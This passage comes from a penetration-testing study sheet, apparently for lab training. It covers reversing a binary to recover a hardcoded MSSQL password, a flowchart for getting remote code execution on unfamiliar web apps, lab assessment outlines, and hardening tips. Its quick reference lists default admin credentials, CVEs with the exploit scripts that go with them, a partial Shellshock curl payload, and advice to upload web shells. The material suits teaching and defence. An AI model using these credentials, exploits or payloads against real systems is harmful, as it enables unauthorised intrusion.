gdb-peda$ run 1046 # RDX: "DRIVER={ODBC Driver 17 for SQL Server};SERVER=localhost,1401;UID=username;PWD=password;" 1047 ``` 1048 1049 **.NET DLL.** IL decompiles cleanly — triage the metadata, then read the controller in dnSpy: 1050 1051 ```powershell 1052 Get-FileMetaData .\MultimasterAPI.dll # .NETFramework v4.6.1 · api/getColleagues 1053 # dnSpy → MultimasterAPI.Controllers.ColleagueController → connection string inline 1054 ``` 1055 1056 > [!tip] Maintained tooling 1057 > **GEF** is the actively maintained GDB extension (successor to PEDA). **dnSpyEx** for .NET. For a fast first pass, `strings` + `binwalk`/`floss` (FLARE Obfuscated String Solver) sometimes recovers runtime-built strings without a debugger. 1058 1059 --- 1060 1061 ## 17 · Other applications & hardening `fas:BookOpen` 1062 1063 The specific apps above are practice material for one transferable method. Applied to anything unfamiliar: 1064 1065 <figure class="flow plate corners"> 1066 <figcaption class="flow__cap"><span class="flow__kind">Unknown-app method</span><span class="flow__dir">TD</span></figcaption> 1067 <div class="flow__body"> 1068 <svg class="flow-svg" viewBox="0 0 960 600" role="img" aria-label="Unknown app found to a default-creds decision; yes gives admin access, no leads to a known-CVE decision splitting into a public exploit or reading the docs for abusable functionality; all three paths converge on RCE via a deploy, upload or script feature"> 1069 <path class="fedge" d="M450,88 L450,160" marker-end="url(#flow-arrow)" /> 1070 <path class="fedge" d="M450,208 L240,280" marker-end="url(#flow-arrow)" /> 1071 <path class="fedge" d="M450,208 L660,280" marker-end="url(#flow-arrow)" /> 1072 <path class="fedge" d="M660,328 L520,400" marker-end="url(#flow-arrow)" /> 1073 <path class="fedge" d="M660,328 L800,400" marker-end="url(#flow-arrow)" /> 1074 <path class="fedge" d="M240,328 L400,520" marker-end="url(#flow-arrow)" /> 1075 <path class="fedge" d="M520,448 L470,520" marker-end="url(#flow-arrow)" /> 1076 <path class="fedge" d="M800,448 L540,520" marker-end="url(#flow-arrow)" /> 1077 <g class="fnode is-entry"><rect class="fnode__box" x="360" y="40" width="180" height="48" /><text class="fnode__label" x="450" y="68" text-anchor="middle">Unknown app found</text></g> 1078 <g class="fnode is-decision"><rect class="fnode__box" x="350" y="160" width="200" height="48" /><text class="fnode__label" x="450" y="188" text-anchor="middle">Default creds?</text></g> 1079 <g class="fnode"><rect class="fnode__box" x="150" y="280" width="180" height="48" /><text class="fnode__label" x="240" y="308" text-anchor="middle">Admin access</text></g> 1080 <g class="fnode is-decision"><rect class="fnode__box" x="540" y="280" width="240" height="48" /><text class="fnode__label" x="660" y="308" text-anchor="middle">Known CVE for this version?</text></g> 1081 <g class="fnode"><rect class="fnode__box" x="425" y="400" width="190" height="48" /><text class="fnode__label" x="520" y="428" text-anchor="middle">Public exploit / PoC</text></g> 1082 <g class="fnode"><rect class="fnode__box" x="680" y="400" width="240" height="48" /><text class="fnode__label" x="800" y="420" text-anchor="middle">Read the docs → find built-in<tspan class="sub" x="800" dy="15">functionality to abuse</tspan></text></g> 1083 <g class="fnode is-goal"><rect class="fnode__box" x="325" y="520" width="290" height="48" /><text class="fnode__label" x="470" y="548" text-anchor="middle">RCE via deploy/upload/script feature</text></g> 1084 <g class="felabel"><rect class="felabel__box" x="330" y="236" width="30" height="16" /><text class="felabel__text" x="345" y="247" text-anchor="middle">Yes</text></g> 1085 <g class="felabel"><rect class="felabel__box" x="543" y="236" width="24" height="16" /><text class="felabel__text" x="555" y="247" text-anchor="middle">No</text></g> 1086 <g class="felabel"><rect class="felabel__box" x="575" y="356" width="30" height="16" /><text class="felabel__text" x="590" y="367" text-anchor="middle">Yes</text></g> 1087 <g class="felabel"><rect class="felabel__box" x="718" y="356" width="24" height="16" /><text class="felabel__text" x="730" y="367" text-anchor="middle">No</text></g> 1088 </svg> 1089 </div> 1090 </figure> 1091 1092 ### Honourable mentions 1093 1094 | Application | Where to start | 1095 |---|---| 1096 | **Axis2** | Often on Tomcat. Weak/default admin creds → upload a web shell as an AAR (like a Tomcat WAR). Metasploit module exists. | 1097 | **WebSphere** | Default `system:manager` → deploy a WAR for RCE. | 1098 | **Elasticsearch** | Multiple serious CVEs; hunt forgotten/unauth instances (HTB *Haystack*). | 1099 | **Zabbix** | SQLi, auth bypass, stored XSS, LDAP password disclosure, RCE; the API itself is abusable (HTB *Zipper*). | 1100 | **Nagios** | History of RCE/privesc/SQLi/XSS. Default `nagiosadmin:PASSW0RD`. | 1101 | **WebLogic** | Java EE server, 190+ CVEs, many unauth deserialisation RCEs (2007–2021). | 1102 | **Wikis/intranets** | MediaWiki, SharePoint, custom builds — known CVEs plus search features that surface credentials. | 1103 | **DotNetNuke (DNN)** | .NET CMS — auth bypass, traversal, file-upload bypass, arbitrary download. SQL Console → `xp_cmdshell`. | 1104 | **vCenter** | Weak creds + CVE-2021-22005 (unauth OVA-upload RCE). Often already SYSTEM or domain admin — a single point of full compromise. | 1105 1106 ### Hardening reference 1107 1108 - **Authentication:** strong passwords, change/disable default admin accounts, MFA for admins. 1109 - **Access controls:** keep admin/login pages internal unless there's a real need; deny uploads/deploys where not required. 1110 - **Disable unsafe features:** in-browser PHP editing (WordPress Theme Editor, Drupal PHP Filter) is a built-in RCE primitive even after a credential compromise. 1111 - **Patch promptly:** nearly every exploit here is version-gated and long fixed upstream. 1112 - **Inventory everything:** including shadow IT and forgotten trials — an org can't protect what it doesn't know exists (the Splunk trial is the poster child). 1113 1114 | App | Fix | 1115 |---|---| 1116 | WordPress | Security plugin (WordFence) for monitoring, blocking, MFA | 1117 | Joomla | Gate the admin login behind a secret key (AdminExile) | 1118 | Drupal | Disable/hide/move the admin login | 1119 | Tomcat | Restrict Manager/Host-Manager to localhost or IP-whitelist + strong non-standard creds | 1120 | Jenkins | Fine-grained perms via the Matrix Authorization Strategy plugin | 1121 | Splunk | Change defaults; license properly so auth can't silently lapse | 1122 | PRTG | Patch; change the default `prtgadmin` password | 1123 | osTicket | Limit internet exposure | 1124 | GitLab | Restrict sign-up (admin approval, allowed email domains) | 1125 1126 --- 1127 1128 ## 18 · Skills assessments `fas:Terminal` 1129 1130 Three narrative labs against dynamically spawned INLANEFREIGHT targets. There are no fixed flags to reproduce — the value is running the whole method end to end and recording exact commands, output, and derived creds against your own instance. 1131 1132 > [!example]+ Assessment I — foothold on the one soft host 1133 > A well-hardened network with one interesting host. Enumerate → fingerprint every web app → default creds + version CVEs → abuse built-in functionality → `flag.txt`. 1134 > ```bash 1135 > sudo nmap -sV -sC -p- --open <target> 1136 > ``` 1137 1138 > [!example]+ Assessment II — the "boring" host hiding GitLab 1139 > Re-enumerate a host that first seemed dull; a note points at `gitlab.inlanefreight.local`. Apply the [GitLab method](#10--gitlab-fasterminal--lab-port-8081) in full: `/etc/hosts` → `/explore` → self-registration → username enum → confirm version against the ExifTool RCE class. 1140 1141 > [!example]+ Assessment III — hardcoded MSSQL password 1142 > A Windows host with valid Administrator creds; find the MSSQL service password. Straight application of §16: 1143 > ```bash 1144 > evil-winrm -i <target> -u Administrator -p '<password>' 1145 > # locate the MSSQL-connecting binary → GDB/x64dbg breakpoint (native) or dnSpy (.NET) 1146 > ``` 1147 1148 `evil-winrm` is still the standard for interactive WinRM. Across all three, an `httpx`/`nuclei` sweep speeds the initial fingerprint before the manual, app-specific work. 1149 1150 --- 1151 1152 ## Quick reference `fas:ClipboardList` 1153 1154 **Default credentials:** Tomcat `tomcat:tomcat` / `tomcat:s3cret` · Splunk `admin:changeme` · PRTG `prtgadmin:prtgadmin` · Nagios `nagiosadmin:PASSW0RD` · WebSphere `system:manager`. 1155 1156 **Key ports:** Tomcat 8080/8180 · AJP 8009 · Jenkins 8080 (agent 5000) · Splunk 8000/8089 · PRTG 8080 · ColdFusion 8500 · GitLab (lab) 8081 · LDAP 389/636 · MSSQL 1433. 1157 1158 | CVE | Target | Class | Delivery | 1159 |---|---|---|---| 1160 | CVE-2020-24186 | WordPress wpDiscuz | unauth upload RCE | `wp_discuz.py` | 1161 | CVE-2019-10945 | Joomla core 1.5.0–3.9.4 | auth traversal + file delete | `joomla_dir_trav.py` | 1162 | CVE-2014-3704 | Drupal 7.0–7.31 | pre-auth SQLi → rogue admin | `drupal_drupageddon` | 1163 | CVE-2018-7600 | Drupal <7.58/<8.5.1 | pre-auth RCE (Drupalgeddon2) | `drupalgeddon2.py` | 1164 | CVE-2018-7602 | Drupal | auth RCE (Drupalgeddon3) | `drupal_drupageddon3` | 1165 | CVE-2020-1938 | Tomcat <9.0.31/8.5.51/7.0.100 | unauth AJP file read (Ghostcat) | `tomcat-ajp.lfi.py` | 1166 | CVE-2019-0232 | Tomcat (Windows CGI) | command injection | `ffuf` + URL-encoded query | 1167 | CVE-2018-9276 | PRTG <18.2.39 | auth command injection | notification "Execute Program" | 1168 | CVE-2021-22205 | GitLab | unauth ExifTool RCE | (successor to ≤13.10.2 auth RCE) | 1169 | CVE-2014-6271 | Bash/CGI | Shellshock | `curl -H 'User-Agent: () { :; };…'` | 1170 | CVE-2010-2861 | ColdFusion ≤9.0.1 | traversal → cred leak | `14641.py` | 1171 | CVE-2009-2265 | ColdFusion ≤8.0.1 | unauth FCKeditor RCE | `50057.py` | 1172 | CVE-2021-22005 | vCenter | unauth OVA-upload RCE | — | 1173 1174 ## Lessons learned `fas:Lightbulb` 1175 1176 1. **Version is the whole game.** Every CVE here is gated on an exact version — pull it from the generator meta, `CHANGELOG.txt`, `joomla.xml`, `/docs`, or a favicon hash *before* you pick an exploit. 1177 2. **Admin console ≈ RCE.** Theme/template editors, the Jenkins Script Console, Tomcat Manager, Splunk apps, PRTG notifications — default creds plus a short spray reach them more often than a CVE does. 1178 3. **Upload = a live backdoor.** WAR/plugin/app uploads leave a shell on disk. Record the path and remove it at cleanup; match shell language to server (VBScript→`.asp`, C#→`.aspx`, JSP→WAR). 1179 4. **Apps carry other systems' creds.** Config files, connection strings, and osTicket/GitLab secrets feed straight into [service attacks](/sheets/pentest-workflow/attacking-common-services-guide) and lateral movement — test every recovered credential for reuse. 1180 5. **Scanners and eyes are complementary.** WPScan missed plugins that `curl | grep` caught; run both. 1181 6. **`dev`/`qa`/`acc` first.** Non-prod copies are patched last and gated loosest. 1182 1183 ## References `fas:BookOpen` 1184 1185 1. [HTB Academy — Attacking Common Applications](https://academy.hackthebox.com/module/details/113) 1186 2. [WPScan](https://wpscan.com/) · [droopescan](https://github.com/SamJoan/droopescan) 1187 3. [CVE-2020-24186 — wpDiscuz RCE](https://www.exploit-db.com/exploits/48706) · [CVE-2019-10945 — Joomla traversal](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10945) 1188 4. Drupalgeddon: [CVE-2014-3704](https://nvd.nist.gov/vuln/detail/CVE-2014-3704) · [CVE-2018-7600](https://nvd.nist.gov/vuln/detail/CVE-2018-7600) · [CVE-2018-7602](https://nvd.nist.gov/vuln/detail/CVE-2018-7602) 1189 5. Tomcat: [Ghostcat CVE-2020-1938](https://nvd.nist.gov/vuln/detail/CVE-2020-1938) · [CVE-2019-0232](https://nvd.nist.gov/vuln/detail/CVE-2019-0232) · [tennc/webshell](https://github.com/tennc/webshell) 1190 6. [Jenkins security advisories](https://www.jenkins.io/security/advisories/) · [Splunk custom apps](https://dev.splunk.com/enterprise/) 1191 7. [CVE-2018-9276 — PRTG](https://nvd.nist.gov/vuln/detail/CVE-2018-9276) · [HTB Netmon](https://app.hackthebox.com/machines/Netmon) 1192 8. [CVE-2021-22205 — GitLab ExifTool RCE](https://nvd.nist.gov/vuln/detail/CVE-2021-22205) · [Exploit-DB 49951 — GitLab 13.10.2 auth RCE](https://www.exploit-db.com/exploits/49951) 1193 9. [CVE-2014-6271 — Shellshock](https://nvd.nist.gov/vuln/detail/CVE-2014-6271) 1194 10. ColdFusion: [CVE-2010-2861](https://nvd.nist.gov/vuln/detail/CVE-2010-2861) · [CVE-2009-2265](https://nvd.nist.gov/vuln/detail/CVE-2009-2265) 1195 11. [irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 1196 12. [OWASP — LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection) · [OWASP — Mass Assignment](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) 1197 13. Reversing: [Ghidra](https://ghidra-sre.org/) · [dnSpyEx](https://github.com/dnSpyEx/dnSpy) · [GEF](https://github.com/hugsy/gef) · [FLOSS](https://github.com/mandiant/flare-floss) 1198 1199 ## Image credits `fas:BookOpen` 1200 1201 Logos are re-hosted from Wikimedia Commons for identification only and remain the trademarks of their respective owners. The table below carries the author and licence for each — this satisfies the attribution/notice terms of the CC BY-SA, GPL, and MIT marks; public-domain and CC0 marks are listed for completeness. 1202 1203 | Image | Author / owner | Licence | Source | 1204 |---|---|---|---| 1205 | WordPress | WordPress Foundation | Public domain (PD-textlogo) | [Commons](https://commons.wikimedia.org/wiki/File:WordPress_logo.svg) | 1206 | Joomla | Open Source Matters | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Joomla!-Logo.svg) | 1207 | Drupal (Druplicon) | Drupal project | GPL-2.0 | [Commons](https://commons.wikimedia.org/wiki/File:Druplicon.vector.svg) | 1208 | Apache Tomcat | Apache Software Foundation | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Apache_Tomcat_logo.svg) | 1209 | Jenkins | The Jenkins project | CC BY-SA 3.0 | [Commons](https://commons.wikimedia.org/wiki/File:Jenkins_logo_with_title.svg) | 1210 | Splunk | Splunk Inc. | Public domain | [Commons](https://commons.wikimedia.org/wiki/File:Splunk_logo.svg) | 1211 | PRTG | Paessler AG | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:PRTG_Logo.svg) | 1212 | osTicket | Rajsinghnovanet (Commons) | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:Osticket_long_logo.png) | 1213 | GitLab | GitLab B.V. | MIT | [Commons](https://commons.wikimedia.org/wiki/File:GitLab_logo.svg) | 1214 | Adobe ColdFusion | Adobe Inc. | Public domain (PD-textlogo) | [Commons](https://commons.wikimedia.org/wiki/File:Adobe_ColdFusion_logo_2021.svg) | 1215 | Microsoft IIS | Tanya Pradhan (Commons) | CC BY-SA 4.0 | [Commons](https://commons.wikimedia.org/wiki/File:Iis-logo.png) | 1216 | Shellshock bug | Wikimedia Commons | CC0 (public domain) | [Commons](https://commons.wikimedia.org/wiki/File:Shellshock-bug.svg) | 1217 1218 --- 1219 1220 [Workflow dashboard](/sheets/pentest-workflow/attack-flow-dashboard) · [Web enum deep-dive →](/sheets/pentest-workflow/web-enumeration-and-exploitation)